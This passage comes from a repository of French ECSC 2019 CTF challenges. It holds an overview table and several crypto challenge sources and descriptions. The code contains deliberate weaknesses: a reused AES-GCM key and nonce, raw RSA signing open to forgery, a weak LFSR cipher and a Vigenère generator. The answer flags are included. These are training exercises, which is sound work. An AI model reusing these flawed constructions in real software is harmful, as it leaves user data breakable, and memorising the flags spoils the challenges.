├── LICENSE
├── README.md
├── crypto-2tp
    ├── 2tp.py
    ├── Dockerfile
    ├── README.md
    ├── flag
    └── key
├── crypto-RDRL
    ├── README.md
    ├── cipher.py
    └── flag.png.enc
├── crypto-StegCryptoDIY-FinalBoss
    ├── README.md
    ├── leHACK19_chall.png
    └── leHACK19_ref.png
├── crypto-StegCryptoDIY-RNG
    ├── README.md
    ├── leHACK19_chall.png
    └── leHACK19_ref.png
├── crypto-StegDIY
    ├── ECSC.png
    ├── ECSC_ref.png
    └── README.md
├── crypto-amok
    ├── README.md
    ├── ciphertext.txt
    ├── create.py
    └── plaintext.txt
├── crypto-cqfd
    ├── README.md
    └── capture.pcap
├── crypto-crayon-cochon
    ├── Makefile
    ├── PigpenCipher.otf
    ├── README.md
    ├── chall.png
    ├── chall.tex
    └── cochon.png
├── crypto-m04r_s1gz
    ├── Dockerfile
    ├── README.md
    ├── flag
    └── m04r_s1gz.py
├── crypto-weakRSA
    └── README.md
├── crypto-whitebox
    ├── README.md
    └── wb.py
├── forensics-103_spx
    ├── README.md
    └── file.zip
├── forensics-CryptoDIY
    ├── README.md
    └── takeout-20190508T151533Z-001.zip
├── forensics-NotSoFAT
    ├── README.md
    └── image.dd
├── forensics-StegCryptoDIY-PNG
    ├── README.md
    ├── leHACK19_chall.png
    └── leHACK19_ref.png
├── forensics-exfiltration
    ├── README.md
    └── exfiltration.pcap
├── forensics-petites_notes
    ├── README.md
    └── petites_notes.pcapng
├── forensics-rancongiciel
    ├── .gitattributes
    ├── README.md
    ├── data
    └── mem.dmp.tar.xz
├── forensics-t4ke_it_d0wn
    ├── README.md
    ├── client.py
    └── sinkhole_capture.pcap
├── misc-PetitPoucet
    ├── Dockerfile
    ├── README.md
    ├── flag.py
    ├── petitpoucet.py
    └── puzzles.txt
├── misc-RScA
    ├── README.md
    ├── sniff_0
    └── sniff_1
├── misc-factorial
    ├── Dockerfile
    ├── README.md
    ├── chall.py
    └── flag.py
├── misc-protation
    ├── Dockerfile
    ├── README.md
    ├── flag.py
    └── protation.py
├── misc-qrcode
    ├── Dockerfile
    ├── README.md
    ├── chall.py
    └── flag.py
├── pwn-HitchLock
    ├── Dockerfile
    ├── README.md
    ├── alfred
    ├── latex
    │   ├── script_flag.pdf
    │   └── script_flag.tex
    └── source
    │   ├── Makefile
    │   ├── alfred.c
    │   └── script_flag.pdf
├── pwn-HolaArmigo
    ├── Dockerfile
    ├── Makefile
    ├── README.md
    ├── armigo
    ├── armigo.c
    ├── flag
    └── run.sh
├── pwn-SecureVault
    ├── Dockerfile
    ├── Makefile
    ├── README.md
    ├── SecureVault
    ├── SecureVault.c
    ├── SecureVault.s
    ├── flag
    └── run.sh
├── pwn-aarchibald
    ├── Dockerfile
    ├── Makefile
    ├── README.md
    ├── aarchibald
    ├── aarchibald.c
    ├── flag
    └── run.sh
├── pwn-armory
    ├── Dockerfile
    ├── Makefile
    ├── README.md
    ├── armory
    ├── armory.c
    ├── flag
    └── run.sh
├── pwn-byot
    ├── Dockerfile
    ├── Makefile
    ├── README.md
    ├── byot
    ├── byot.c
    ├── byot.h
    ├── flag
    └── libc-2.24.so
├── pwn-harmless
    ├── Dockerfile
    ├── Makefile
    ├── README.md
    ├── flag
    ├── harmless
    ├── harmless.c
    ├── qemu-2.7.0-aslr_heap_pie_nx_wxorx_mmap.patch
    └── run.sh
├── reverse-Ariane
    ├── README.md
    └── ariane.exe
├── reverse-MagasinASecrets
    ├── MagasinSecret
    └── README.md
├── reverse-ThePytector
    ├── README.md
    └── check_serial.zip
├── reverse-baby
    ├── Makefile
    ├── README.md
    ├── baby
    └── baby.c
├── reverse-vault
    ├── Makefile
    ├── README.md
    ├── vault
    └── vault.c
├── web-CeciNestPasUnePipe
    ├── README.md
    ├── docker-compose.yml
    ├── mariadb
    │   ├── Dockerfile
    │   └── sql
    │   │   ├── delete.sql
    │   │   └── init.sql
    └── php-apache
    │   ├── Dockerfile
    │   ├── conf
    │       ├── flag
    │       │   ├── flag
    │       │   └── flag.c
    │       ├── php
    │       │   ├── disable_functions.txt
    │       │   ├── php.ini
    │       │   └── prepend.php
    │       └── sendmail
    │       │   ├── sendmail
    │       │   └── sendmail.c
    │   └── www
    │       ├── config.php
    │       ├── index.php
    │       ├── login.php
    │       ├── register.php
    │       ├── robots.txt
    │       ├── static
    │           ├── css
    │           │   └── bootstrap.min.css
    │           └── js
    │           │   ├── bootstrap.min.js
    │           │   └── jquery.min.js
    │       ├── todo.php
    │       └── upload
    │           └── .gitignore
├── web-PHP_Sandbox
    ├── Dockerfile
    ├── README.md
    ├── conf
    │   ├── flag
    │   │   └── flag.txt
    │   └── php
    │   │   ├── php.ini
    │   │   └── prepend.php
    └── www
    │   ├── index.php
    │   └── robots.txt
├── web-jajaja
    ├── Dockerfile
    ├── README.md
    ├── content.json
    ├── flag.txt
    ├── jajaja.py
    ├── requirements.txt
    ├── static
    │   ├── css
    │   │   ├── blog.css
    │   │   ├── bootstrap.min.css
    │   │   └── fonts.css
    │   └── js
    │   │   ├── bootstrap.bundle.min.js
    │   │   ├── bootstrap.min.js
    │   │   └── jquery-3.4.1.min.js
    └── templates
    │   ├── comment.html
    │   ├── error.html
    │   ├── homepage.html
    │   ├── master.html
    │   └── post.html
├── web-scully1
    ├── Dockerfile
    ├── README.md
    └── app
    │   ├── app.py
    │   ├── database.db
    │   ├── docker-entrypoint.sh
    │   ├── flag.py
    │   ├── requirements.txt
    │   ├── static
    │       ├── script.js
    │       └── style.css
    │   └── templates
    │       ├── base.html
    │       ├── error.html
    │       └── index.html
└── web-scully2
    ├── Dockerfile
    ├── README.md
    └── app
        ├── app.py
        ├── database.db
        ├── docker-entrypoint.sh
        ├── flag.py
        ├── requirements.txt
        ├── static
            ├── script.js
            └── style.css
        └── templates
            ├── base.html
            ├── error.html
            └── index.html


/README.md:
--------------------------------------------------------------------------------
 1 | # ECSC 2019
 2 | 
 3 | Ce dépôt git contient certaines épreuves de CTF qui ont été utilisées pour la sélection et l'entraînement de l'équipe qui a représenté la France lors de l'ECSC 2019.
 4 | 
 5 | Le tableau ci-dessous contient les épreuves publiées dans ce dépôt, classées par catégorie et difficulté.
 6 | 
 7 | | Phase               | Epreuve                    | Catégorie    |   Difficulté       | Nombre de résolutions |
 8 | |:-------------------:|:--------------------------:|:------------:|:------------------:|----------------------:|
 9 | | Pré-sélections      | 2tp                        | crypto       |  Facile            |            124 / 1241 |
10 | | Pré-sélections      | m04r_s1gz                  | crypto       |  Moyen             |             51 / 1241 |
11 | | Pré-sélections      | CQFD                       | crypto       |  Moyen             |             35 / 1241 |
12 | | Pré-sélections      | Hvítur Kassi (1)           | crypto       |  Moyen             |             36 / 1241 |
13 | | Pré-sélections      | Hvítur Kassi (2)           | crypto       |  Difficile         |              0 / 1241 |
14 | | Pré-sélections      | RDRL                       | crypto       |  Moyen /Difficile  |             18 / 1241 |
15 | | Pré-sélections      | StegDIY                    | crypto       |  Difficile         |              6 / 1241 |
16 | | Pré-sélections      | ybab                       | reverse      |  Facile            |            643 / 1241 |
17 | | Pré-sélections      | Vault                      | reverse      |  Facile            |            174 / 1241 |
18 | | Pré-sélections      | The Pytector               | reverse      |  Moyen             |             19 / 1241 |
19 | | Pré-sélections      | Ariane                     | reverse      |  Difficile         |              5 / 1241 |
20 | | Pré-sélections      | Not so FAT                 | forensics    |  Facile            |            324 / 1241 |
21 | | Pré-sélections      | Petites notes              | forensics    |  Facile            |            307 / 1241 |
22 | | Pré-sélections      | Exfiltration               | forensics    |  Moyen             |             92 / 1241 |
23 | | Pré-sélections      | Rancongiciel (1)           | forensics    |  Facile            |            148 / 1241 |
24 | | Pré-sélections      | Rancongiciel (2)           | forensics    |  Moyen             |             71 / 1241 |
25 | | Pré-sélections      | Rancongiciel (3)           | forensics    |  Moyen             |             58 / 1241 |
26 | | Pré-sélections      | CryptoDIY                  | forensics    |  Difficile         |              8 / 1241 |
27 | | Pré-sélections      | Armory                     | pwn          |  Facile            |             85 / 1241 |
28 | | Pré-sélections      | Aarchibald                 | pwn          |  Facile            |            115 / 1241 |
29 | | Pré-sélections      | ¡ Hola Armigo !            | pwn          |  Moyen             |             52 / 1241 |
30 | | Pré-sélections      | SecureVault                | pwn          |  Difficile         |              2 / 1241 |
31 | | Pré-sélections      | PHP Sandbox                | web          |  Facile            |            152 / 1241 |
32 | | Pré-sélections      | Scully (1)                 | web          |  Facile            |            117 / 1241 |
33 | | Pré-sélections      | Scully (2)                 | web          |  Moyen             |             63 / 1241 |
34 | | Pré-sélections      | Ceci n'est pas une pipe    | web          |  Moyen             |             78 / 1241 |
35 | | Pré-sélections      | qrcode                     | misc         |  Facile            |            186 / 1241 |
36 | | Pré-sélections      | Factorial                  | misc         |  Difficile         |             49 / 1241 |
37 | | Pré-sélections      | RScA                       | misc         |  Difficile         |              4 / 1241 |
38 | | Finale France       | Amok                       | crypto       |  Facile            |               24 / 50 |
39 | | Finale France       | StegCryptoDIY - RNG        | crypto       |  Difficile         |                2 / 50 |
40 | | Finale France       | StegCryptoDIY - Final Boss | crypto       |  Difficile         |                0 / 50 |
41 | | Finale France       | Magasin à secrets          | reverse      |  Moyen             |                3 / 50 |
42 | | Finale France       | 103_spx                    | forensics    |  Facile            |               29 / 50 |
43 | | Finale France       | StegCryptoDIY - PNG        | forensics    |  Facile            |               38 / 50 |
44 | | Finale France       | take_it_down               | forensics    |  Moyen             |               10 / 50 |
45 | | Finale France       | harmless                   | pwn          |  Facile            |               28 / 50 |
46 | | Finale France       | Build Your Own Team        | pwn          |  Moyen             |                0 / 50 |
47 | | Finale France       | jajaja                     | web          |  Moyen             |               10 / 50 |
48 | | Finale France       | protation                  | misc         |  Difficile         |                0 / 50 |
49 | | Entrainement TeamFR | Crayon cochon              | crypto       |  Facile            |                 5 / 5 |
50 | | Entrainement TeamFR | Weak RSA                   | crypto       |  Moyen             |                 3 / 5 |
51 | | Entrainement TeamFR | Alfred HitchLock           | pwn          |  Facile            |                 5 / 5 |
52 | | Entrainement TeamFR | Petit Poucet               | misc         |  Moyen             |                 0 / 5 |
53 | 
54 | Plus d'informations sur la participation de la France à l'ECSC 2019 se trouvent ici : [https://www.ssi.gouv.fr/agence/cybersecurite/challenge-europeen-de-cybersecurite-ecsc-2019/](https://www.ssi.gouv.fr/agence/cybersecurite/challenge-europeen-de-cybersecurite-ecsc-2019/).
55 | 


--------------------------------------------------------------------------------
/crypto-2tp/2tp.py:
--------------------------------------------------------------------------------
 1 | #!/usr/bin/python3 -u
 2 | from binascii import hexlify
 3 | from cryptography.hazmat.primitives import hashes
 4 | from cryptography.hazmat.primitives.kdf.pbkdf2 import PBKDF2HMAC
 5 | from cryptography.hazmat.primitives.ciphers.aead import AESGCM
 6 | from cryptography.hazmat.backends import default_backend
 7 | backend = default_backend()
 8 | 
 9 | def derive(secret):
10 |     # Derive the secret so we get key and IV material for AES
11 |     kdf = PBKDF2HMAC(
12 |         algorithm=hashes.SHA256(),
13 |         length=48,
14 |         salt=secret,
15 |         iterations=100000,
16 |         backend=backend
17 |     )
18 |     return kdf.derive(secret)
19 | 
20 | def encrypt(key, iv, aad, data):
21 |     aesgcm = AESGCM(key)
22 |     ct = aesgcm.encrypt(iv, data, aad)
23 |     return ct
24 | 
25 | if __name__ == '__main__':
26 |     # First, retrieve the secret
27 |     with open('key', 'rb') as f:
28 |         secret = f.read(32)
29 | 
30 |     derived = derive(secret)
31 |     key, iv, aad = derived[:16], derived[16:32], derived[32:]
32 | 
33 |     print("Welcome to our state-of-the-art encryption service!\nWe use PBKDF2 and AES-GCM!")
34 |     with open('flag', 'rb') as f:
35 |         data = f.read()
36 | 
37 |     flag = encrypt(key, iv, aad, data)
38 |     print("As an example, here is the encrypted flag: {:s}\n".format(hexlify(flag).decode()))
39 | 
40 |     data = input("Now, enter your text: ")
41 |     userct = encrypt(key, iv, aad, data.encode('utf-8'))
42 |     print("Here is your ciphertext: {:s}\n".format(hexlify(userct).decode()))
43 | 


--------------------------------------------------------------------------------
/crypto-2tp/Dockerfile:
--------------------------------------------------------------------------------
 1 | FROM alpine
 2 | 
 3 | RUN apk update && apk add s6-networking py3-cryptography
 4 | RUN adduser ctf -D
 5 | COPY 2tp.py flag key /app/
 6 | WORKDIR /app/
 7 | 
 8 | EXPOSE 2000
 9 | USER ctf
10 | CMD s6-tcpserver 0.0.0.0 2000 python3 2tp.py
11 | 


--------------------------------------------------------------------------------
/crypto-2tp/README.md:
--------------------------------------------------------------------------------
 1 | # 2tp
 2 | 
 3 | | Phase          | Catégorie    |   Difficulté  | Nombre de résolutions |
 4 | |:--------------:|:------------:|:-------------:|:---------------------:|
 5 | | Pré-sélections | crypto       |      Facile   |            124 / 1241 |
 6 | 
 7 | ### Description
 8 | 
 9 | Venez tester notre chiffreur universel ! Nous utilisons des technologies de pointe, garanties inviolables !
10 | Pour preuve, nous vous donnons le flag chiffré et jamais vous ne pourrez le retrouver.
11 | 


--------------------------------------------------------------------------------
/crypto-2tp/flag:
--------------------------------------------------------------------------------
1 | ECSC{d7e080292d95f131e07241a98dc6c1aa10279889}
2 | 


--------------------------------------------------------------------------------
/crypto-2tp/key:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ANSSI-FR/ctf/024390ed10ac1224881f3fe7b0c105214a9a800d/crypto-2tp/key


--------------------------------------------------------------------------------
/crypto-RDRL/README.md:
--------------------------------------------------------------------------------
 1 | # RDRL
 2 | 
 3 | | Phase          | Catégorie    |       Difficulté         | Nombre de résolutions |
 4 | |:--------------:|:------------:|:------------------------:|:---------------------:|
 5 | | Pré-sélections | crypto       |      Moyen/Difficile     |             18 / 1241 |
 6 | 
 7 | ### Description
 8 | 
 9 | Analysez l'algorithme de chiffrement présent dans le fichier ``cipher.py`` et déchiffrez ``flag.png.enc``.
10 | 


--------------------------------------------------------------------------------
/crypto-RDRL/cipher.py:
--------------------------------------------------------------------------------
 1 | import os
 2 | import sys
 3 | import bitarray
 4 | import random
 5 | 
 6 | N = 64
 7 | 
 8 | def state2str(state):
 9 | 	b = bitarray.bitarray(state)
10 | 	return b.tobytes().hex()
11 | 
12 | def filtered(state):
13 | 	b  = 0
14 | 	b ^= state[0]*state[N//4]
15 | 	b ^= state[0]*state[2*N//4]*state[3*N//4]
16 | 	b ^= state[N//4]*state[2*N//4]*state[3*N//4]
17 | 	b ^= state[N//4]*state[2*N//4]
18 | 	b ^= state[N//4]*state[3*N//4]
19 | 	b ^= state[N//4]
20 | 	return b
21 | 
22 | def clock(state):
23 | 	b = filtered(state)
24 | 	tmp = state[0] ^ state[1] ^ state[3] ^ state[4]
25 | 	state = state[1:] + [tmp]
26 | 	return b, state
27 | 
28 | def encrypt(file):
29 | 	state = [ random.getrandbits(1) for _ in range(N) ]
30 | 	sys.stderr.write("[+] Encrypting file: {}\n".format(file))
31 | 	sys.stderr.write("[+] Random initial state: 0x{}\n".format(state2str(state)))
32 | 
33 | 	data = open(file, "rb").read()
34 | 	bIn = bitarray.bitarray()
35 | 	bIn.frombytes(data)
36 | 
37 | 	bOut = bitarray.bitarray()
38 | 	for b in bIn:
39 | 		bit, state = clock(state)
40 | 		bOut.append(bit^b)
41 | 
42 | 	sys.stdout.buffer.write(bOut.tobytes())
43 | 	sys.stderr.write("[+] Done\n")
44 | 
45 | def decrypt(file, state):
46 | 	state = int(state, 16)
47 | 	state = [ (state>>i)&1 for i in range(N-1, -1, -1) ]
48 | 
49 | 	sys.stderr.write("[+] Decrypting file: {}\n".format(file))
50 | 	sys.stderr.write("[+] Using initial state: 0x{}\n".format(state2str(state)))
51 | 
52 | 	data = open(file, "rb").read()
53 | 	bIn = bitarray.bitarray()
54 | 	bIn.frombytes(data)
55 | 
56 | 	bOut = bitarray.bitarray()
57 | 	for b in bIn:
58 | 		bit, state = clock(state)
59 | 		bOut.append(bit^b)
60 | 
61 | 	sys.stdout.buffer.write(bOut.tobytes())
62 | 
63 | def usage():
64 | 	print ("Usage: ")
65 | 	print ("\tEncrypt: ./%s <file>" % sys.argv[0])
66 | 	print ("\tDecrypt: ./%s <file> <initial state (hex)>" % sys.argv[0])
67 | 
68 | if __name__== "__main__":
69 | 	if   len(sys.argv) == 1: usage()
70 | 	elif len(sys.argv) == 2: encrypt(sys.argv[1])              # encrypt
71 | 	elif len(sys.argv) == 3: decrypt(sys.argv[1], sys.argv[2]) # decrypt
72 | 	else:                    usage()
73 | 


--------------------------------------------------------------------------------
/crypto-RDRL/flag.png.enc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ANSSI-FR/ctf/024390ed10ac1224881f3fe7b0c105214a9a800d/crypto-RDRL/flag.png.enc


--------------------------------------------------------------------------------
/crypto-StegCryptoDIY-FinalBoss/README.md:
--------------------------------------------------------------------------------
 1 | # StegCryptoDIY - Final Boss
 2 | 
 3 | | Phase          | Catégorie  |   Difficulté   | Nombre de résolutions |
 4 | |:--------------:|:----------:|:--------------:|:---------------------:|
 5 | | Finale France  |   crypto   |    Difficile   |                0 / 50 |
 6 | 
 7 | ### Description
 8 | 
 9 | Comme tout le monde s'en rappelle Dumb et Dumby ont échangé, il y a quelques semaines, en utilisant un nouveau cryptosystème basé sur les problèmes FACT et DLP : CryptoDIY.
10 | 
11 | Pour rappel, les paramètres `g1` et `g2` sont définis par
12 | 
13 | ```
14 | g1 = g ** (s1 * (p - 1)) mod N
15 | g2 = g ** (s2 * (q - 1)) mod N
16 | ```
17 | 
18 | où `g` est un générateur inconnu `s1` et `s2` sont deux nonces et bien sûr `p` et `q` sont inconnus ;-)
19 | 
20 | Ils pensent avoir une version durcie, montrez leurs le contraire en retrouvant leur clé partagée à partir des informations issues des deux challenges précédents (`StegCryptoDIY - PNG` et `StegCryptoDIY - RNG`).
21 | 
22 | Note : le flag suit le format `lehack2019{xxx}` où `xxx` est une chaine de caractères.
23 | 
24 | SHA(`leHACK19_chall.png`) = `9bf1385ef8fc2638b90dfaa3d47d4a50ad52b67bf173b052621040f3ce48ca90`.
25 | 
26 | SHA(`leHACK19_ref.png`) = `9151821ba115ed4de102a79695dca76f4994550c6c37068804abe71778c9009e`.
27 | 


--------------------------------------------------------------------------------
/crypto-StegCryptoDIY-FinalBoss/leHACK19_chall.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ANSSI-FR/ctf/024390ed10ac1224881f3fe7b0c105214a9a800d/crypto-StegCryptoDIY-FinalBoss/leHACK19_chall.png


--------------------------------------------------------------------------------
/crypto-StegCryptoDIY-FinalBoss/leHACK19_ref.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ANSSI-FR/ctf/024390ed10ac1224881f3fe7b0c105214a9a800d/crypto-StegCryptoDIY-FinalBoss/leHACK19_ref.png


--------------------------------------------------------------------------------
/crypto-StegCryptoDIY-RNG/README.md:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ANSSI-FR/ctf/024390ed10ac1224881f3fe7b0c105214a9a800d/crypto-StegCryptoDIY-RNG/README.md


--------------------------------------------------------------------------------
/crypto-StegCryptoDIY-RNG/leHACK19_chall.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ANSSI-FR/ctf/024390ed10ac1224881f3fe7b0c105214a9a800d/crypto-StegCryptoDIY-RNG/leHACK19_chall.png


--------------------------------------------------------------------------------
/crypto-StegCryptoDIY-RNG/leHACK19_ref.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ANSSI-FR/ctf/024390ed10ac1224881f3fe7b0c105214a9a800d/crypto-StegCryptoDIY-RNG/leHACK19_ref.png


--------------------------------------------------------------------------------
/crypto-StegDIY/ECSC.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ANSSI-FR/ctf/024390ed10ac1224881f3fe7b0c105214a9a800d/crypto-StegDIY/ECSC.png


--------------------------------------------------------------------------------
/crypto-StegDIY/ECSC_ref.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ANSSI-FR/ctf/024390ed10ac1224881f3fe7b0c105214a9a800d/crypto-StegDIY/ECSC_ref.png


--------------------------------------------------------------------------------
/crypto-StegDIY/README.md:
--------------------------------------------------------------------------------
 1 | # StegDIY
 2 | 
 3 | | Phase          | Catégorie  |   Difficulté   | Nombre de résolutions |
 4 | |:--------------:|:----------:|:--------------:|:---------------------:|
 5 | | Pré-sélections | crypto     |   Difficile    |              6 / 1241 |
 6 | 
 7 | ### Description
 8 | 
 9 | Dumb n'est pas content, CryptoDIY a été cassé !
10 | Il pense avoir enfin la solution ultime...
11 | Montrez-lui le contraire.
12 | 
13 | SHA256(`ECSC.png`) : `50254ecc67930f6367b993bc9d487d80da96c4f473a3187e3c3e13338c176a75`.
14 | 
15 | SHA256(`ECSC_ref.png`) : `bfcac1f8eb817f36a71459a056149efd3e41e4458719a661f376bb5dcbd0d13d`.
16 | 


--------------------------------------------------------------------------------
/crypto-amok/README.md:
--------------------------------------------------------------------------------
 1 | # Amok
 2 | 
 3 | | Phase         | Catégorie  |  Difficulté  | Nombre de résolutions |
 4 | |:-------------:|:----------:|:------------:|:---------------------:|
 5 | | Finale France | crypto     |   Facile     |               24 / 50 | 
 6 | 
 7 | 
 8 | ### Description
 9 | 
10 | Une de nos sources a réussi à intercepter ce message et nous informe que le contenu est probablement du français. Arrivez-vous à le déchiffrer ?
11 | 
12 | Note : le flag est à fournir en minuscules.
13 | 
14 | SHA256(`ciphertext.txt`): `89695bacc9fdbff8c153a0fe74eecbb16d131f6027423b91a7258a4ffd552664`.
15 | 


--------------------------------------------------------------------------------
/crypto-amok/create.py:
--------------------------------------------------------------------------------
 1 | # -*- coding: utf-8 -*-
 2 | 
 3 | import re
 4 | import string
 5 | import unicodedata
 6 | 
 7 | CHARSET = string.ascii_uppercase + string.digits # ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789
 8 | 
 9 | def strip_text(plaintext):
10 | 	res = ""
11 | 	for x in plaintext.upper():
12 | 		if not x in CHARSET: continue
13 | 		res += x
14 | 	return res
15 | 
16 | def encrypt(plaintext, key):
17 | 	key_length = len(key)
18 | 	ciphertext = ''
19 | 	for i in range(len(plaintext)):
20 | 		id_p = CHARSET.find(plaintext[i])
21 | 		id_k = CHARSET.find(key[i % key_length])
22 | 		id_c = (id_p + id_k) % len(CHARSET)
23 | 		ciphertext += CHARSET[id_c]
24 | 	return ciphertext
25 | 
26 | #########################################
27 | ############ Generation part ############
28 | #########################################
29 | 
30 | texte = open("plaintext.txt", "r").read()
31 | texte = unicodedata.normalize('NFD', texte).encode('ascii', 'ignore')
32 | texte = texte.decode()
33 | texte = strip_text(texte)
34 | ctxt = encrypt(texte, "L33TV1G3NER3")
35 | 
36 | group_len = 5
37 | ctxt = ' '.join(ctxt[i:i+group_len] for i in range(0, len(ctxt), group_len))
38 | ngroups = 10
39 | length = ngroups*group_len+ngroups
40 | ctxt = '\n'.join(ctxt[i:i+length] for i in range(0, len(ctxt), length))
41 | 
42 | open("ciphertext.txt", "w").write(ctxt+"\n")
43 | del ctxt
44 | 
45 | ## flag: lh_l33tv1g3ner3_f0rth3w1n
46 | ## Commentaire: le flag est à soumettre en minuscules
47 | 


--------------------------------------------------------------------------------
/crypto-cqfd/README.md:
--------------------------------------------------------------------------------
 1 | # CQFDoFAT
 2 | 
 3 | | Phase          | Catégorie    |   Difficulté  | Nombre de résolutions |
 4 | |:--------------:|:------------:|:-------------:|:---------------------:|
 5 | | Pré-sélections | crypto       |       Moyen   |             35 / 1241 |
 6 | 
 7 | ### Description
 8 | 
 9 | On vous demande d'analyser la capture réseau fournie et de retrouver un flag.
10 | 
11 | SHA256(`capture.pcap`) : `8f076b7bde548de75ed19b63b0b952748dc4c39998e990e999edd5b6e873012a`.
12 | 


--------------------------------------------------------------------------------
/crypto-cqfd/capture.pcap:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ANSSI-FR/ctf/024390ed10ac1224881f3fe7b0c105214a9a800d/crypto-cqfd/capture.pcap


--------------------------------------------------------------------------------
/crypto-crayon-cochon/Makefile:
--------------------------------------------------------------------------------
1 | all:
2 | 	xelatex chall.tex
3 | 	pdftoppm chall.pdf chall -png
4 | 	mv chall-1.png chall.png
5 | 
6 | clean:
7 | 	rm *.aux *.log chall.pdf *~
8 | 


--------------------------------------------------------------------------------
/crypto-crayon-cochon/PigpenCipher.otf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ANSSI-FR/ctf/024390ed10ac1224881f3fe7b0c105214a9a800d/crypto-crayon-cochon/PigpenCipher.otf


--------------------------------------------------------------------------------
/crypto-crayon-cochon/README.md:
--------------------------------------------------------------------------------
 1 | # Crypto
 2 | 
 3 | | Phase               | Catégorie |   Difficulté  | Nombre de résolutions |
 4 | |:-------------------:|:---------:|:-------------:|:---------------------:|
 5 | | Entrainement TeamFR | crypto    |     Facile    |                  5 /5 |
 6 | 
 7 | ### Description
 8 | 
 9 | Le flag est simplement affiché dans l'image ci-dessous.
10 | 
11 | ![Cipher](chall.png)
12 | 


--------------------------------------------------------------------------------
/crypto-crayon-cochon/chall.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ANSSI-FR/ctf/024390ed10ac1224881f3fe7b0c105214a9a800d/crypto-crayon-cochon/chall.png


--------------------------------------------------------------------------------
/crypto-crayon-cochon/chall.tex:
--------------------------------------------------------------------------------
 1 | \documentclass{standalone}
 2 | \usepackage{xltxtra}
 3 | \usepackage{tikz}
 4 | \setmainfont{PigpenCipher.otf}
 5 | 
 6 | \begin{document}
 7 | \begin{tikzpicture}
 8 | 
 9 | \node (pig) at (0,0) {\includegraphics[width=6em]{cochon.png}};
10 | 
11 | \node at (0,-2) {Below is the flag};
12 | 
13 | \node at (0,-3) {KFNoKbHdBLEbsvJMRxKYoxdqzaEaH};
14 | 
15 | \end{tikzpicture}
16 | \end{document}
17 | 
18 | 


--------------------------------------------------------------------------------
/crypto-crayon-cochon/cochon.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ANSSI-FR/ctf/024390ed10ac1224881f3fe7b0c105214a9a800d/crypto-crayon-cochon/cochon.png


--------------------------------------------------------------------------------
/crypto-m04r_s1gz/Dockerfile:
--------------------------------------------------------------------------------
 1 | FROM alpine
 2 | 
 3 | RUN apk update && apk add socat py3-crypto
 4 | RUN adduser ctf -D
 5 | COPY * /app/
 6 | WORKDIR /app/
 7 | 
 8 | EXPOSE 2000
 9 | USER ctf
10 | CMD socat tcp-listen:2000,reuseaddr,fork exec:"python3 m04r_s1gz.py"
11 | 


--------------------------------------------------------------------------------
/crypto-m04r_s1gz/README.md:
--------------------------------------------------------------------------------
 1 | # m04r sigz
 2 | 
 3 | | Phase          | Catégorie    |   Difficulté  | Nombre de résolutions |
 4 | |:--------------:|:------------:|:-------------:|:---------------------:|
 5 | | Pré-sélections | crypto       |       Moyen   |             51 / 1241 |
 6 | 
 7 | ### Description
 8 | 
 9 | Testez la robustesse de notre *SecureSigner* !
10 | 


--------------------------------------------------------------------------------
/crypto-m04r_s1gz/flag:
--------------------------------------------------------------------------------
1 | ECSC{f861bb26b32459970ed27dcc804e52c136f48f0c}
2 | 


--------------------------------------------------------------------------------
/crypto-m04r_s1gz/m04r_s1gz.py:
--------------------------------------------------------------------------------
 1 | #!/usr/bin/python3 -u
 2 | from Crypto.PublicKey import RSA
 3 | import secrets
 4 | import signal
 5 | import sys
 6 | 
 7 | 
 8 | class SecureSigner():
 9 |     def __init__(self):
10 |         self.private_key = RSA.generate(2048)
11 |         self.e, self.n = self.private_key.e, self.private_key.n
12 | 
13 |     def sign(self, message):
14 |         return self.private_key.sign(m, None)
15 | 
16 |     def verify(self, message, signature):
17 |         return self.private_key.verify(message, (signature,))
18 | 
19 | 
20 | if __name__ == '__main__':
21 |     s = SecureSigner()
22 | 
23 |     print("Can you beat us and forge a signature in less than 60 seconds?")
24 |     signal.alarm(60)
25 | 
26 |     print("Here are your parameters:\n - modulus n: {:d}\n - public exponent e: {:d}".format(s.n, s.e))
27 | 
28 |     while True:
29 |         message = input("Please enter a number to sign (or anything else to stop): ")
30 |         try:
31 |             m = int(message, 10)
32 |         except ValueError:
33 |             break
34 |         signature = s.sign(m)
35 |         print("Signature: {:d}".format(signature[0]))
36 |     
37 |     challenge = secrets.randbelow(2**32)
38 |     print("Here is your challenge: {:d}".format(challenge))
39 |     
40 |     signature = input("Enter the signature of the challenge: ")
41 |     try:
42 |         sig = int(signature, 10)
43 |     except ValueError:
44 |         print("[-] Wrong signature format!")
45 |         sys.exit(-1)
46 |     
47 |     if s.verify(challenge, sig):
48 |         with open("flag", "rb") as f:
49 |             flag = f.read()
50 |             signal.alarm(0)
51 |             print("[+] Here is your flag, fellow signer: {:s}".format(flag.decode()))
52 |     else:
53 |         print("[-] Try again :(")
54 |         sys.exit(-1)
55 | 


--------------------------------------------------------------------------------
/crypto-weakRSA/README.md:
--------------------------------------------------------------------------------
 1 | # Crypto
 2 | 
 3 | | Phase               | Catégorie    |   Difficulté  | Nombre de résolutions |
 4 | |:-------------------:|:------------:|:-------------:|:---------------------:|
 5 | | Entrainement TeamFR | crypto       |     Moyen     |                 3 / 5 |
 6 | 
 7 | ### Description
 8 | 
 9 | Nous avons récupéré ces informations. Pouvez-vous en extraire un flag ?
10 | 
11 | ```python
12 | e = 65537
